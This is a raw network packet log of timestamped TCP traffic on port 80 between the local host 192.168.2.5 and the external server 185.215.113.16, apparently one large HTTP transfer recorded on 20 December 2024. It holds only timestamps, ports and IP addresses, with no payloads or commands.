Dec 20, 2024 16:53:30.216526031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.216528893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.218307018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.218367100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.218400002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.220010996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.220124960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.220156908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.221766949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.221822977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.221908092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.223575115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.223614931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.223639011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.225239992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.225332022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.225398064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.227051973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.227116108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.227334023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.228728056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.228811026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.228833914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.230488062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.230545044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.230700016 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.232134104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.232207060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.232223034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.233803034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.233903885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.233946085 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.235548973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.235611916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.235631943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.237263918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.237346888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.237418890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.239063025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.239139080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.239319086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.240658998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.240742922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.240776062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.242429018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.242506981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.242552042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.244115114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.244179964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.244374037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.245721102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.245758057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.245826006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.247437000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.247524023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.247592926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.249102116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.249174118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.249226093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.250823021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.250960112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.250962973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.252657890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.252738953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.252767086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.254290104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.254403114 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.254426956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.255861044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.255966902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.255984068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.257632017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.257694006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.257736921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.259241104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.259335995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.259368896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.260976076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.261086941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.261126995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.262629032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.262687922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.262795925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.264317036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.264401913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.264446020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.266030073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.266089916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.266151905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.267755032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.267806053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.268398046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.269525051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.269579887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.269726992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.271275043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.271334887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.271349907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.272840977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.272900105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.272986889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.274570942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.274629116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.274667978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.327970028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.378325939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.378433943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.378510952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.378951073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.379051924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.379100084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.380254984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.380342960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.380384922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.381596088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.381731033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.381836891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.382920980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.383024931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.383119106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.384193897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.384324074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.384375095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.385463953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.385606050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.385668039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.386761904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.386933088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.386975050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.388068914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.388169050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.388824940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.389240026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.389348030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.389518976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.390549898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.390775919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.391334057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.391836882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.391923904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.392597914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.392990112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.393110037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.393444061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.394380093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.394520998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.394809008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.395457983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.395601034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.395773888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.396500111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.396574020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.396754980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.397893906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.398087025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.398139000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.398921013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.398978949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.399019003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.400024891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.400122881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.400337934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.401237965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.401313066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.401489973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.402412891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.402527094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.402652979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.403693914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.403774977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.403882980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.404906034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.404928923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.404978037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.405895948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.406013012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.406069994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.407185078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.407299042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.407489061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.408312082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.408417940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.408463955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.409610987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.409696102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.409790993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.410681009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.411087036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.411164045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.411847115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.412156105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.412313938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.413062096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.413117886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.413182020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.414457083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.414647102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.414804935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.415772915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.415904045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.416307926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.416717052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.416774035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.416843891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.417933941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.418066978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.418123007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.419004917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.419222116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.419332027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.420171976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.420344114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.420502901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.421435118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.421582937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.421648979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.422473907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.422574043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.422629118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.423762083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.423866987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.424034119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.424936056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.425017118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.425066948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.426131964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.426341057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.426393986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.427295923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.427464962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.427561998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.428416014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.428498983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.428601027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.429569006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.429800987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.429975033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.430727005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.430885077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.430983067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.431914091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.432025909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.432076931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.433132887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.433226109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.433728933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.434305906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.434519053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.434572935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.435578108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.435725927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.435785055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.436702967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.436870098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.436933041 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.437838078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.438008070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.438055038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.439059019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.439222097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.439359903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.440294981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.440432072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.440488100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.441337109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.484227896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.570636034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.570667982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.570800066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.571027040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.571307898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.571378946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.571420908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.572413921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.572487116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.572623014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.573513031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.573584080 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.573589087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.574544907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.574604034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.574635029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.575656891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.575705051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.575752020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.576706886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.576803923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.576848984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.577907085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.577980042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.578053951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.578866005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.578969002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.578969955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.580003023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.580063105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.580107927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.581068039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.581145048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.581285000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.582139969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.582199097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.582295895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.583353043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.583375931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.583409071 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.584279060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.584366083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.584391117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.585572004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.585623026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.585627079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.586452961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.586508036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.586549044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.587595940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.587677956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.587718964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.588644028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.588712931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.588730097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.589720964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.589806080 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.589833975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.590778112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.590828896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.590897083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.591872931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.591958046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.591984987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.592963934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.593009949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.593074083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.594049931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.594126940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.594153881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.595124006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.595190048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.595211029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.596194983 CET	80	49739	185.215.113.16	192.168.2.5
